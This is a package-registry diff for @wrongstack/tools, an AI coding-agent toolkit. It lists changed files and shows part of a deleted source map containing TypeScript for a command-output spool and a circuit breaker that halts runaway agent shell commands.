@wrongstack/tools 0.297.0 → 0.298.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/_spawn-stream.d.ts +2 -0
- package/dist/_util.d.ts +29 -1
- package/dist/audit.js +113 -65
- package/dist/bash.js +5 -4
- package/dist/batch-tool-use.js +70 -7
- package/dist/browser/index.js +31 -1
- package/dist/builtin.js +908 -390
- package/dist/codebase-index/index.js +68 -16
- package/dist/codebase-index/project-server-protocol.d.ts +26 -0
- package/dist/codebase-index/project-server.js +60 -16
- package/dist/codebase-index/worker.js +36 -13
- package/dist/codebase-index/writer-search-helpers.d.ts +16 -0
- package/dist/codebase-index/writer.d.ts +13 -1
- package/dist/design.d.ts +1 -1
- package/dist/design.js +4 -3
- package/dist/diff.js +11 -1
- package/dist/e2e.js +9 -6
- package/dist/edit.js +9 -6
- package/dist/exec-allowlist.d.ts +15 -0
- package/dist/exec.js +627 -568
- package/dist/format.js +116 -65
- package/dist/git.js +22 -2
- package/dist/glob.js +11 -5
- package/dist/grep.js +160 -104
- package/dist/index.js +859 -329
- package/dist/install.js +120 -68
- package/dist/json.js +64 -18
- package/dist/kanban-board-inputs.d.ts +21 -4
- package/dist/kanban.js +20 -5
- package/dist/languages/index.js +128 -71
- package/dist/lint.js +113 -65
- package/dist/outdated.js +86 -26
- package/dist/pack.js +908 -390
- package/dist/patch.js +11 -1
- package/dist/plan.js +32 -10
- package/dist/read.js +77 -23
- package/dist/replace.js +11 -3
- package/dist/scaffold.js +9 -6
- package/dist/session-kanban.js +21 -5
- package/dist/task.js +3 -1
- package/dist/test.js +113 -65
- package/dist/todo.js +3 -1
- package/dist/tool-tier.js +908 -390
- package/dist/tool-use.d.ts +1 -1
- package/dist/tool-use.js +28 -4
- package/dist/tree.d.ts +1 -0
- package/dist/tree.js +44 -8
- package/dist/typecheck.js +113 -65
- package/dist/write.js +9 -6
- package/package.json +7 -6
- package/dist/_concurrency.d.ts.map +0 -1
- package/dist/_danger-detect.d.ts.map +0 -1
- package/dist/_edit-match.d.ts.map +0 -1
- package/dist/_env.d.ts.map +0 -1
- package/dist/_fetch-guard.d.ts.map +0 -1
- package/dist/_output-spool.d.ts.map +0 -1
- package/dist/_redact-command.d.ts.map +0 -1
- package/dist/_regex.d.ts.map +0 -1
- package/dist/_session-shell.d.ts.map +0 -1
- package/dist/_shell-pick.d.ts.map +0 -1
- package/dist/_spawn-stream.d.ts.map +0 -1
- package/dist/_syntax-check.d.ts.map +0 -1
- package/dist/_util.d.ts.map +0 -1
- package/dist/_win32-resolve.d.ts.map +0 -1
- package/dist/audit.d.ts.map +0 -1
- package/dist/audit.js.map +0 -7
- package/dist/auto-proceed-loop-guard.d.ts.map +0 -1
- package/dist/auto-proceed-loop-guard.js.map +0 -7
- package/dist/bash-kill-guard.d.ts.map +0 -1
- package/dist/bash.d.ts.map +0 -1
- package/dist/bash.js.map +0 -7
- package/dist/batch-tool-use.d.ts.map +0 -1
- package/dist/batch-tool-use.js.map +0 -7
- package/dist/browser/artifacts.d.ts.map +0 -1
- package/dist/browser/index.d.ts.map +0 -1
- package/dist/browser/index.js.map +0 -7
- package/dist/browser/manager.d.ts.map +0 -1
- package/dist/browser/network-guard-proxy.d.ts.map +0 -1
- package/dist/browser/security.d.ts.map +0 -1
- package/dist/browser/tools.d.ts.map +0 -1
- package/dist/browser/types.d.ts.map +0 -1
- package/dist/builtin.d.ts.map +0 -1
- package/dist/builtin.js.map +0 -7
- package/dist/circuit-breaker.d.ts.map +0 -1
- package/dist/circuit-breaker.js.map +0 -7
- package/dist/codebase-index/background-indexer.d.ts.map +0 -1
- package/dist/codebase-index/bm25.d.ts.map +0 -1
- package/dist/codebase-index/circuit-breaker.d.ts.map +0 -1
- package/dist/codebase-index/codebase-index-tool.d.ts.map +0 -1
- package/dist/codebase-index/codebase-search-tool.d.ts.map +0 -1
- package/dist/codebase-index/codebase-stats-tool.d.ts.map +0 -1
- package/dist/codebase-index/dead-code-scan.d.ts.map +0 -1
- package/dist/codebase-index/generic-parser.d.ts.map +0 -1
- package/dist/codebase-index/gitignore.d.ts.map +0 -1
- package/dist/codebase-index/go-parser.d.ts.map +0 -1
- package/dist/codebase-index/index-service.d.ts.map +0 -1
- package/dist/codebase-index/index.d.ts.map +0 -1
- package/dist/codebase-index/index.js.map +0 -7
- package/dist/codebase-index/indexer.d.ts.map +0 -1
- package/dist/codebase-index/json-parser.d.ts.map +0 -1
- package/dist/codebase-index/languages.d.ts.map +0 -1
- package/dist/codebase-index/lsp-kind.d.ts.map +0 -1
- package/dist/codebase-index/parser-dispatch.d.ts.map +0 -1
- package/dist/codebase-index/project-server-cache.d.ts.map +0 -1
- package/dist/codebase-index/project-server-client.d.ts.map +0 -1
- package/dist/codebase-index/project-server-endpoint.d.ts.map +0 -1
- package/dist/codebase-index/project-server-protocol.d.ts.map +0 -1
- package/dist/codebase-index/project-server.d.ts.map +0 -1
- package/dist/codebase-index/project-server.js.map +0 -7
- package/dist/codebase-index/py-parser.d.ts.map +0 -1
- package/dist/codebase-index/refs-extractor.d.ts.map +0 -1
- package/dist/codebase-index/rs-parser.d.ts.map +0 -1
- package/dist/codebase-index/schema.d.ts.map +0 -1
- package/dist/codebase-index/spawn-gate.d.ts.map +0 -1
- package/dist/codebase-index/sqlite-runtime.d.ts.map +0 -1
- package/dist/codebase-index/ts-parser.d.ts.map +0 -1
- package/dist/codebase-index/worker-protocol.d.ts.map +0 -1
- package/dist/codebase-index/worker.d.ts.map +0 -1
- package/dist/codebase-index/worker.js.map +0 -7
- package/dist/codebase-index/writer-admin.d.ts.map +0 -1
- package/dist/codebase-index/writer-bulk-insert.d.ts.map +0 -1
- package/dist/codebase-index/writer-graph-helpers.d.ts.map +0 -1
- package/dist/codebase-index/writer-graph-reader.d.ts.map +0 -1
- package/dist/codebase-index/writer-helpers.d.ts.map +0 -1
- package/dist/codebase-index/writer-pragmas.d.ts.map +0 -1
- package/dist/codebase-index/writer-ref-mapper.d.ts.map +0 -1
- package/dist/codebase-index/writer-schema.d.ts.map +0 -1
- package/dist/codebase-index/writer-search-helpers.d.ts.map +0 -1
- package/dist/codebase-index/writer-store-pool.d.ts.map +0 -1
- package/dist/codebase-index/writer.d.ts.map +0 -1
- package/dist/codebase-index/yaml-parser.d.ts.map +0 -1
- package/dist/design.d.ts.map +0 -1
- package/dist/design.js.map +0 -7
- package/dist/diff.d.ts.map +0 -1
- package/dist/diff.js.map +0 -7
- package/dist/document.d.ts.map +0 -1
- package/dist/document.js.map +0 -7
- package/dist/e2e.d.ts.map +0 -1
- package/dist/e2e.js.map +0 -7
- package/dist/edit.d.ts.map +0 -1
- package/dist/edit.js.map +0 -7
- package/dist/exec-kill-guard.d.ts.map +0 -1
- package/dist/exec.d.ts.map +0 -1
- package/dist/exec.js.map +0 -7
- package/dist/fetch.d.ts.map +0 -1
- package/dist/fetch.js.map +0 -7
- package/dist/format.d.ts.map +0 -1
- package/dist/format.js.map +0 -7
- package/dist/git.d.ts.map +0 -1
- package/dist/git.js.map +0 -7
- package/dist/glob.d.ts.map +0 -1
- package/dist/glob.js.map +0 -7
- package/dist/grep.d.ts.map +0 -1
- package/dist/grep.js.map +0 -7
- package/dist/index.d.ts.map +0 -1
- package/dist/index.js.map +0 -7
- package/dist/install.d.ts.map +0 -1
- package/dist/install.js.map +0 -7
- package/dist/json.d.ts.map +0 -1
- package/dist/json.js.map +0 -7
- package/dist/kanban-board-inputs.d.ts.map +0 -1
- package/dist/kanban-decomposition-actions.d.ts.map +0 -1
- package/dist/kanban-detail-actions.d.ts.map +0 -1
- package/dist/kanban-evidence-bridge.d.ts.map +0 -1
- package/dist/kanban-presence.d.ts.map +0 -1
- package/dist/kanban-split-task-handler.d.ts.map +0 -1
- package/dist/kanban-task-inputs.d.ts.map +0 -1
- package/dist/kanban-tool-results.d.ts.map +0 -1
- package/dist/kanban-tool-schema.d.ts.map +0 -1
- package/dist/kanban-tool-types.d.ts.map +0 -1
- package/dist/kanban.d.ts.map +0 -1
- package/dist/kanban.js.map +0 -7
- package/dist/languages/detect.d.ts.map +0 -1
- package/dist/languages/diagnostics.d.ts.map +0 -1
- package/dist/languages/execute-tool.d.ts.map +0 -1
- package/dist/languages/execute.d.ts.map +0 -1
- package/dist/languages/index.d.ts.map +0 -1
- package/dist/languages/index.js.map +0 -7
- package/dist/languages/legacy-bridge.d.ts.map +0 -1
- package/dist/languages/package-tool.d.ts.map +0 -1
- package/dist/languages/plan.d.ts.map +0 -1
- package/dist/languages/profile-helpers.d.ts.map +0 -1
- package/dist/languages/profiles/additional.d.ts.map +0 -1
- package/dist/languages/profiles/primary.d.ts.map +0 -1
- package/dist/languages/registry.d.ts.map +0 -1
- package/dist/languages/tool.d.ts.map +0 -1
- package/dist/languages/types.d.ts.map +0 -1
- package/dist/lint.d.ts.map +0 -1
- package/dist/lint.js.map +0 -7
- package/dist/logs.d.ts.map +0 -1
- package/dist/logs.js.map +0 -7
- package/dist/memory.d.ts.map +0 -1
- package/dist/memory.js.map +0 -7
- package/dist/mode.d.ts.map +0 -1
- package/dist/mode.js.map +0 -7
- package/dist/next-steps.d.ts.map +0 -1
- package/dist/next-steps.js.map +0 -7
- package/dist/outdated.d.ts.map +0 -1
- package/dist/outdated.js.map +0 -7
- package/dist/pack.d.ts.map +0 -1
- package/dist/pack.js.map +0 -7
- package/dist/patch.d.ts.map +0 -1
- package/dist/patch.js.map +0 -7
- package/dist/plan.d.ts.map +0 -1
- package/dist/plan.js.map +0 -7
- package/dist/process-guardian.d.ts.map +0 -1
- package/dist/process-registry-persistent.d.ts.map +0 -1
- package/dist/process-registry.d.ts.map +0 -1
- package/dist/process-registry.js.map +0 -7
- package/dist/ps-slash.d.ts.map +0 -1
- package/dist/ps-slash.js.map +0 -7
- package/dist/read.d.ts.map +0 -1
- package/dist/read.js.map +0 -7
- package/dist/replace.d.ts.map +0 -1
- package/dist/replace.js.map +0 -7
- package/dist/scaffold.d.ts.map +0 -1
- package/dist/scaffold.js.map +0 -7
- package/dist/search.d.ts.map +0 -1
- package/dist/search.js.map +0 -7
- package/dist/session-kanban.d.ts.map +0 -1
- package/dist/session-kanban.js.map +0 -7
- package/dist/set-working-dir.d.ts.map +0 -1
- package/dist/skill.d.ts.map +0 -1
- package/dist/skill.js.map +0 -7
- package/dist/spawn-background.d.ts.map +0 -1
- package/dist/task.d.ts.map +0 -1
- package/dist/task.js.map +0 -7
- package/dist/test.d.ts.map +0 -1
- package/dist/test.js.map +0 -7
- package/dist/todo.d.ts.map +0 -1
- package/dist/todo.js.map +0 -7
- package/dist/tool-diff.d.ts.map +0 -1
- package/dist/tool-diff.js.map +0 -7
- package/dist/tool-help.d.ts.map +0 -1
- package/dist/tool-help.js.map +0 -7
- package/dist/tool-icon-map.d.ts.map +0 -1
- package/dist/tool-icons.d.ts.map +0 -1
- package/dist/tool-icons.js.map +0 -7
- package/dist/tool-search.d.ts.map +0 -1
- package/dist/tool-search.js.map +0 -7
- package/dist/tool-summary.d.ts.map +0 -1
- package/dist/tool-summary.js.map +0 -7
- package/dist/tool-tier.d.ts.map +0 -1
- package/dist/tool-tier.js.map +0 -7
- package/dist/tool-use.d.ts.map +0 -1
- package/dist/tool-use.js.map +0 -7
- package/dist/tree.d.ts.map +0 -1
- package/dist/tree.js.map +0 -7
- package/dist/typecheck.d.ts.map +0 -1
- package/dist/typecheck.js.map +0 -7
- package/dist/win32.d.ts.map +0 -1
- package/dist/win32.js.map +0 -7
- package/dist/write.d.ts.map +0 -1
- package/dist/write.js.map +0 -7
package/dist/pack.js.map
DELETED
|
@@ -1,7 +0,0 @@
|
|
|
1
|
-
{
|
|
2
|
-
"version": 3,
|
|
3
|
-
"sources": ["../src/_output-spool.ts", "../src/circuit-breaker.ts", "../src/_redact-command.ts", "../src/process-registry.ts", "../src/_win32-resolve.ts", "../src/_spawn-stream.ts", "../src/_util.ts", "../src/languages/profile-helpers.ts", "../src/languages/profiles/additional.ts", "../src/languages/profiles/primary.ts", "../src/languages/registry.ts", "../src/languages/detect.ts", "../src/languages/diagnostics.ts", "../src/languages/plan.ts", "../src/languages/execute.ts", "../src/languages/execute-tool.ts", "../src/languages/package-tool.ts", "../src/languages/tool.ts", "../src/languages/index.ts", "../src/languages/legacy-bridge.ts", "../src/codebase-index/languages.ts", "../src/codebase-index/ts-parser.ts", "../src/codebase-index/spawn-gate.ts", "../src/codebase-index/go-parser.ts", "../src/codebase-index/generic-parser.ts", "../src/codebase-index/py-parser.ts", "../src/codebase-index/rs-parser.ts", "../src/codebase-index/json-parser.ts", "../src/codebase-index/yaml-parser.ts", "../src/audit.ts", "../src/bash.ts", "../src/_env.ts", "../src/bash-kill-guard.ts", "../src/process-registry-persistent.ts", "../src/_shell-pick.ts", "../src/batch-tool-use.ts", "../src/browser/tools.ts", "../src/browser/manager.ts", "../src/browser/artifacts.ts", "../src/browser/network-guard-proxy.ts", "../src/browser/security.ts", "../src/codebase-index/project-server-client.ts", "../src/codebase-index/circuit-breaker.ts", "../src/codebase-index/project-server-endpoint.ts", "../src/codebase-index/writer.ts", "../src/codebase-index/bm25.ts", "../src/codebase-index/lsp-kind.ts", "../src/codebase-index/schema.ts", "../src/codebase-index/sqlite-runtime.ts", "../src/codebase-index/writer-admin.ts", "../src/codebase-index/writer-bulk-insert.ts", "../src/codebase-index/writer-graph-helpers.ts", "../src/codebase-index/writer-ref-mapper.ts", "../src/codebase-index/writer-graph-reader.ts", "../src/codebase-index/writer-helpers.ts", "../src/codebase-index/writer-pragmas.ts", "../src/codebase-index/writer-schema.ts", "../src/codebase-index/writer-search-helpers.ts", "../src/codebase-index/writer-store-pool.ts", "../src/codebase-index/project-server-protocol.ts", "../src/codebase-index/background-indexer.ts", "../src/codebase-index/indexer.ts", "../src/codebase-index/gitignore.ts", "../src/codebase-index/parser-dispatch.ts", "../src/codebase-index/index-service.ts", "../src/codebase-index/codebase-index-tool.ts", "../src/codebase-index/codebase-search-tool.ts", "../src/codebase-index/codebase-stats-tool.ts", "../src/codebase-index/dead-code-scan.ts", "../src/design.ts", "../src/diff.ts", "../src/document.ts", "../src/e2e.ts", "../src/edit.ts", "../src/_edit-match.ts", "../src/_syntax-check.ts", "../src/exec.ts", "../src/_danger-detect.ts", "../src/exec-kill-guard.ts", "../src/fetch.ts", "../src/_fetch-guard.ts", "../src/format.ts", "../src/git.ts", "../src/glob.ts", "../src/_concurrency.ts", "../src/grep.ts", "../src/_regex.ts", "../src/install.ts", "../src/json.ts", "../src/kanban.ts", "../src/kanban-evidence-bridge.ts", "../src/kanban-decomposition-actions.ts", "../src/kanban-tool-results.ts", "../src/kanban-detail-actions.ts", "../src/kanban-split-task-handler.ts", "../src/kanban-board-inputs.ts", "../src/kanban-task-inputs.ts", "../src/kanban-tool-schema.ts", "../src/kanban-presence.ts", "../src/session-kanban.ts", "../src/builtin.ts", "../src/lint.ts", "../src/logs.ts", "../src/outdated.ts", "../src/patch.ts", "../src/plan.ts", "../src/read.ts", "../src/replace.ts", "../src/scaffold.ts", "../src/search.ts", "../src/set-working-dir.ts", "../src/task.ts", "../src/test.ts", "../src/todo.ts", "../src/tool-help.ts", "../src/tool-search.ts", "../src/tool-use.ts", "../src/tree.ts", "../src/typecheck.ts", "../src/write.ts", "../src/pack.ts"],
|
|
4
|
-
"sourcesContent": ["/**\n * _output-spool \u2014 file-based capture of FULL command output.\n *\n * Command tools (bash/exec and the _spawn-stream consumers) cap what they\n * keep in memory and what reaches the model (COMMAND_OUTPUT_MAX_BYTES head+\n * tail). Everything past the cap used to be silently dropped, which pushed\n * agents to re-run commands with bigger buffers or stuff huge outputs into\n * chat history. The spool keeps the host's memory and the context window\n * small while losing nothing: once a command's output exceeds the in-memory\n * threshold, the FULL stream is written to a log file under\n * `~/.wrongstack/tool-output/` and the capped tool result carries a\n * `[full output: <path>]` marker so the model can read/grep the file\n * selectively instead of dumping it into context.\n *\n * Properties:\n * - zero disk I/O for small outputs (file is created lazily on first byte\n * past the threshold; the buffered head is flushed at that moment)\n * - bounded memory: the head buffer never exceeds the threshold, and disk\n * backpressure drops chunks past a 4 MB writable-buffer high-water mark\n * (counted and reported in the marker) instead of queueing them on the heap\n * - best-effort: any fs error disables the spool silently \u2014 command tools\n * must never fail because diagnostics couldn't be written\n * - retention: spool files older than 7 days are swept once per process\n */\nimport { createWriteStream, mkdirSync, type WriteStream } from 'node:fs';\nimport * as fsp from 'node:fs/promises';\nimport * as path from 'node:path';\nimport { wstackGlobalRoot } from '@wrongstack/core/utils';\n\nconst SPOOL_RETENTION_MS = 7 * 24 * 60 * 60 * 1000;\n/** Stop queueing chunks on the heap when the fs stream falls this far behind. */\nconst SPOOL_WRITE_HWM_BYTES = 4 * 1024 * 1024;\n\nlet sweepStarted = false;\n\n/** Directory for spooled command output (under the wstack global root). */\nexport function toolOutputDir(): string {\n return path.join(wstackGlobalRoot(), 'tool-output');\n}\n\n/** Reset module state \u2014 test hook (per-process sweep memo + nothing else). */\nexport function _resetOutputSpoolForTests(): void {\n sweepStarted = false;\n}\n\nfunction sweepOldSpoolFiles(dir: string): void {\n if (sweepStarted) return;\n sweepStarted = true;\n void (async () => {\n try {\n const now = Date.now();\n for (const name of await fsp.readdir(dir)) {\n if (!name.endsWith('.log')) continue;\n const p = path.join(dir, name);\n try {\n const st = await fsp.stat(p);\n if (now - st.mtimeMs > SPOOL_RETENTION_MS) await fsp.unlink(p);\n } catch {\n /* concurrently removed \u2014 ignore */\n }\n }\n } catch {\n /* directory doesn't exist yet \u2014 nothing to sweep */\n }\n })();\n}\n\nexport interface SpoolInfo {\n /** Absolute path of the spool file. */\n path: string;\n /** Total bytes of output produced (including what reached the file). */\n bytes: number;\n /** Bytes dropped due to disk backpressure (0 in the normal case). */\n droppedBytes: number;\n}\n\nexport interface OutputSpool {\n /** Feed every raw output chunk. Never throws. */\n write(text: string): void;\n /**\n * Close the file (if one was opened) and return its info, or null when the\n * output never exceeded the threshold. Idempotent.\n */\n finalize(): SpoolInfo | null;\n}\n\nexport interface CreateOutputSpoolOptions {\n /** Tool name used in the spool filename (sanitized). */\n tool: string;\n /**\n * Output size at which the spool activates. Should match the tool's\n * in-memory cap so files are only created for output the model can't\n * already see in full. Default 32 KB.\n */\n thresholdBytes?: number | undefined;\n}\n\n/**\n * Render the marker line appended to a capped tool result. Kept in one place\n * so every command tool phrases it identically (and tests can match it).\n */\nexport function spoolNote(info: SpoolInfo): string {\n const dropped =\n info.droppedBytes > 0 ? `, ~${info.droppedBytes} bytes dropped under backpressure` : '';\n return `\\n[output truncated \u2014 full ${info.bytes} bytes at ${info.path}${dropped}; read/grep that file selectively instead of re-running with more output]`;\n}\n\nexport function createOutputSpool(opts: CreateOutputSpoolOptions): OutputSpool {\n const threshold = opts.thresholdBytes ?? 32_768;\n const safeTool = opts.tool.replace(/[^a-zA-Z0-9._-]+/g, '_').slice(0, 40) || 'tool';\n\n let head = '';\n let headBytes = 0;\n let totalBytes = 0;\n let droppedBytes = 0;\n let stream: WriteStream | null = null;\n let filePath: string | null = null;\n let failed = false;\n let finalized = false;\n\n const open = (): void => {\n if (stream || failed) return;\n try {\n const dir = toolOutputDir();\n // Synchronous on purpose: createWriteStream would race an async mkdir\n // and error with ENOENT. This runs at most once per oversized command,\n // and after the first call the dir exists (mkdirSync is a no-op stat).\n mkdirSync(dir, { recursive: true });\n sweepOldSpoolFiles(dir);\n const stamp = new Date().toISOString().replace(/[:.]/g, '-');\n const rand = Math.random().toString(36).slice(2, 6);\n filePath = path.join(dir, `${stamp}-${safeTool}-${rand}.log`);\n stream = createWriteStream(filePath, { flags: 'w', encoding: 'utf8' });\n stream.on('error', () => {\n // Disk full / permission \u2014 disable the spool, keep the tool alive.\n failed = true;\n stream = null;\n filePath = null;\n });\n // Flush the buffered head first so the file is the complete output.\n stream.write(head);\n } catch {\n failed = true;\n stream = null;\n filePath = null;\n }\n };\n\n return {\n write(text: string): void {\n if (finalized || !text) return;\n totalBytes += Buffer.byteLength(text, 'utf8');\n if (!stream && !failed) {\n if (headBytes + text.length <= threshold) {\n head += text;\n headBytes += text.length;\n return;\n }\n head += text; // include the crossing chunk so the file misses nothing\n open();\n head = ''; // flushed into the stream by open(); release the heap copy\n return;\n }\n if (stream) {\n if (stream.writableLength > SPOOL_WRITE_HWM_BYTES) {\n droppedBytes += Buffer.byteLength(text, 'utf8');\n return;\n }\n stream.write(text);\n }\n },\n finalize(): SpoolInfo | null {\n if (finalized) {\n return filePath ? { path: filePath, bytes: totalBytes, droppedBytes } : null;\n }\n finalized = true;\n head = '';\n if (!stream || !filePath) return null;\n try {\n stream.end();\n } catch {\n /* already closed */\n }\n return { path: filePath, bytes: totalBytes, droppedBytes };\n },\n };\n}\n", "/**\n * CircuitBreaker \u2014 prevents runaway bash/exec tool chains by:\n *\n * - Tripping on consecutive failures (models that keep repeating the\n * same failing command, e.g. `npm install` with wrong args in a loop)\n * - Tripping on slow call ratio (too many long-running commands suggest\n * a hung subprocess that the model doesn't know how to kill)\n * - Rate-limiting bursts (rapid succession of commands without reading\n * output suggests the model isn't processing results)\n * - Auto-recovering after a cooldown period so a fixed model can resume\n *\n * The breaker is owned by the ProcessRegistry so any tool that registers\n * a process participates in the same circuit. \"Per-tool\" isolation is\n * intentionally NOT implemented \u2014 the model treats bash/exec as one\n * resource pool; isolating them would let the model route around the\n * breaker by alternating which tool it uses.\n */\n\nexport interface CircuitBreakerConfig {\n /**\n * Consecutive failures before trip. Default: 5.\n * A single success resets this counter to 0.\n */\n maxConsecutiveFailures?: number | undefined;\n /**\n * Slow-call threshold in ms. A call that runs longer than this is\n * counted as \"slow\". Default: 60_000 (1 minute).\n */\n slowCallThresholdMs?: number | undefined;\n /**\n * Max slow calls before trip (within the sliding window). Default: 3.\n */\n maxSlowCalls?: number | undefined;\n /**\n * Sliding window for rate-limit and slow-call counting, in ms.\n * Default: 60_000 (1 minute).\n */\n windowMs?: number | undefined;\n /**\n * Max calls within the sliding window. Default: 30.\n * Burst exceeding this trips the breaker immediately.\n */\n maxCallsPerWindow?: number | undefined;\n /**\n * Cooldown before auto-recovery attempt, in ms. Default: 30_000 (30s).\n * After this the breaker enters \"half-open\" state and allows one call\n * through to test whether the problem is resolved.\n */\n cooldownMs?: number | undefined;\n}\n\ninterface CallRecord {\n at: number;\n /** True if the call threw or returned an is_error result. */\n failed: boolean;\n /** True if elapsed time exceeded slowCallThresholdMs. */\n slow: boolean;\n}\n\ntype BreakerState = 'closed' | 'open' | 'half-open';\n\nconst DEFAULT_MAX_CONSECUTIVE_FAILURES = 5;\nconst DEFAULT_SLOW_CALL_THRESHOLD_MS = 180_000;\n// 3 minutes \u2014 balanced against the 5-minute bash timeout. Commands\n// running <3min are normal; 3-5min are \"slow\" and count toward the\n// breaker. 3 consecutive slow calls trip the circuit.\nconst DEFAULT_MAX_SLOW_CALLS = 3;\nconst DEFAULT_WINDOW_MS = 60_000;\nconst DEFAULT_MAX_CALLS_PER_WINDOW = 30;\nconst DEFAULT_COOLDOWN_MS = 30_000;\n\nexport interface CircuitBreakerSnapshot {\n state: 'closed' | 'open' | 'half-open';\n consecutiveFailures: number;\n slowCallsInWindow: number;\n callsInWindow: number;\n windowMs: number;\n cooldownRemainingMs: number | null;\n lastFailureAt: number | null;\n lastSlowAt: number | null;\n}\n\nexport class CircuitBreaker {\n private readonly maxConsecutiveFailures: number;\n private readonly slowCallThresholdMs: number;\n private readonly maxSlowCalls: number;\n private readonly windowMs: number;\n private readonly maxCallsPerWindow: number;\n private readonly cooldownMs: number;\n\n private state: BreakerState = 'closed';\n private consecutiveFailures = 0;\n private window: CallRecord[] = [];\n private lastFailureAt: number | null = null;\n private lastSlowAt: number | null = null;\n /** Timestamp when the breaker was opened (for cooldown calculation). */\n private openedAt: number | null = null;\n\n /**\n * Master enable flag. When false the breaker is bypassed: `beforeCall`\n * always returns true and `afterCall` records nothing. The class itself\n * defaults to enabled (so the standalone unit tests exercise tripping); the\n * ProcessRegistry flips this off until the user opts in via `/settings`.\n */\n private enabled = true;\n\n /**\n * Fired (best-effort) when the breaker transitions into the `open` state.\n * The registry uses this to arm its auto kill/reset countdown.\n */\n onTrip?: (() => void) | undefined;\n /**\n * Fired (best-effort) when the breaker returns to `closed` after having been\n * open/half-open. The registry uses this to cancel a pending kill/reset.\n */\n onReset?: (() => void) | undefined;\n\n constructor(config: CircuitBreakerConfig = {}) {\n this.maxConsecutiveFailures = config.maxConsecutiveFailures ?? DEFAULT_MAX_CONSECUTIVE_FAILURES;\n this.slowCallThresholdMs = config.slowCallThresholdMs ?? DEFAULT_SLOW_CALL_THRESHOLD_MS;\n this.maxSlowCalls = config.maxSlowCalls ?? DEFAULT_MAX_SLOW_CALLS;\n this.windowMs = config.windowMs ?? DEFAULT_WINDOW_MS;\n this.maxCallsPerWindow = config.maxCallsPerWindow ?? DEFAULT_MAX_CALLS_PER_WINDOW;\n this.cooldownMs = config.cooldownMs ?? DEFAULT_COOLDOWN_MS;\n }\n\n /** Toggle the master enable. Disabling resets to a clean `closed` state. */\n setEnabled(enabled: boolean): void {\n if (this.enabled === enabled) return;\n this.enabled = enabled;\n if (!enabled) this._reset();\n }\n\n get isEnabled(): boolean {\n return this.enabled;\n }\n\n /**\n * Returns true if the circuit allows a new call to proceed.\n * When false, callers should abort the tool call and return a\n * circuit-breaker error instead of spawning a process.\n */\n get canProceed(): boolean {\n if (!this.enabled) return true;\n this._checkStateTransition();\n return this.state !== 'open';\n }\n\n /**\n * Snapshot of the current breaker state for observability (`/kill`).\n */\n snapshot(): CircuitBreakerSnapshot {\n this._checkStateTransition();\n const now = Date.now();\n let cooldownRemaining: number | null = null;\n if (this.openedAt !== null && this.state === 'open') {\n const elapsed = now - this.openedAt;\n cooldownRemaining = Math.max(0, this.cooldownMs - elapsed);\n }\n return {\n state: this.state,\n consecutiveFailures: this.consecutiveFailures,\n slowCallsInWindow: this.window.filter((c) => c.slow).length,\n callsInWindow: this.window.length,\n windowMs: this.windowMs,\n cooldownRemainingMs: cooldownRemaining,\n lastFailureAt: this.lastFailureAt,\n lastSlowAt: this.lastSlowAt,\n };\n }\n\n /**\n * Call this BEFORE spawning a bash/exec process.\n * Returns true if the call is allowed; false if the breaker is open.\n * When false, callers MUST NOT spawn a process.\n *\n * @param bypass - If true, skip the circuit breaker check entirely.\n * Use for background/fire-and-forget processes that should\n * not affect breaker state.\n */\n beforeCall(bypass = false): boolean {\n if (bypass || !this.enabled) return true;\n this._checkStateTransition();\n if (this.state === 'open') return false;\n return true;\n }\n\n /**\n * Call this AFTER a bash/exec process finishes (success or failure).\n * `durationMs` is the wall-clock time the process ran.\n * `failed` is true when the process returned a non-zero exit code or\n * threw an exception before spawning.\n *\n * @param bypass - If true, do not update breaker state.\n * Use for background/fire-and-forget processes.\n */\n afterCall(durationMs: number, failed: boolean, bypass = false): void {\n if (bypass || !this.enabled) return;\n\n const now = Date.now();\n\n if (this.state === 'half-open') {\n // First call through after cooldown \u2014 if it failed, go back to open.\n if (failed) {\n this._trip();\n return;\n }\n // Success in half-open \u2192 reset to closed.\n this._reset();\n return;\n }\n\n // Prune old records outside the sliding window.\n this._pruneWindow(now);\n\n const slow = durationMs >= this.slowCallThresholdMs;\n this.window.push({ at: now, failed, slow });\n\n if (failed) {\n this.consecutiveFailures++;\n this.lastFailureAt = now;\n if (this.consecutiveFailures >= this.maxConsecutiveFailures) {\n this._trip();\n }\n return;\n }\n\n // Success: reset consecutive failure counter.\n this.consecutiveFailures = 0;\n\n if (slow) {\n this.lastSlowAt = now;\n const slowCount = this.window.filter((c) => c.slow).length;\n if (slowCount >= this.maxSlowCalls) {\n this._trip();\n }\n }\n\n const callCount = this.window.length;\n if (callCount >= this.maxCallsPerWindow) {\n // Rate limit exceeded. This is a soft trip \u2014 we reset the window\n // and let the next call try immediately (the caller will still see\n // canProceed=false until the window drains naturally).\n this._trip();\n }\n }\n\n /** Force the breaker open. Used by /kill force and Ctrl+C. */\n forceOpen(): void {\n this._trip();\n }\n\n /** Force a reset to closed. Used by tests and /kill reset. */\n forceReset(): void {\n this._reset();\n }\n\n private _trip(): void {\n if (this.state === 'open') return; // already open\n this.state = 'open';\n this.openedAt = Date.now();\n // P3 #23 (before-release.md): clear the window on trip. Old records are\n // irrelevant once tripped \u2014 the breaker starts fresh after cooldown\n // (half-open \u2192 closed resets the counters). Without this the window array\n // holds onto CallRecord entries for its lifetime if no new afterCall()\n // arrives (which is the case when the breaker stays open and no new calls\n // are attempted).\n this.window = [];\n // Best-effort: never let a listener failure corrupt breaker state.\n try {\n this.onTrip?.();\n } catch {\n /* ignored \u2014 observability hook only */\n }\n }\n\n private _reset(): void {\n const wasRecovering = this.state !== 'closed';\n this.state = 'closed';\n this.consecutiveFailures = 0;\n this.window = [];\n this.openedAt = null;\n // Only notify on a real recovery (open/half-open \u2192 closed), not on the\n // initial closed state or an idempotent re-reset.\n if (wasRecovering) {\n try {\n this.onReset?.();\n } catch {\n /* ignored \u2014 observability hook only */\n }\n }\n }\n\n /** Transition from open \u2192 half-open when cooldown elapses. */\n private _checkStateTransition(): void {\n if (this.state !== 'open' || this.openedAt === null) return;\n const elapsed = Date.now() - this.openedAt;\n if (elapsed >= this.cooldownMs) {\n this.state = 'half-open';\n this.openedAt = null;\n }\n }\n\n private _pruneWindow(now: number): void {\n const cutoff = now - this.windowMs;\n this.window = this.window.filter((c) => c.at >= cutoff);\n }\n}", "import { expectDefined } from '@wrongstack/core/utils';\n\n// Sensitive CLI flag patterns that may appear in process command lines.\n// Redacted to [REDACTED] so crash dumps /ps output cannot leak secrets.\n// Split out of 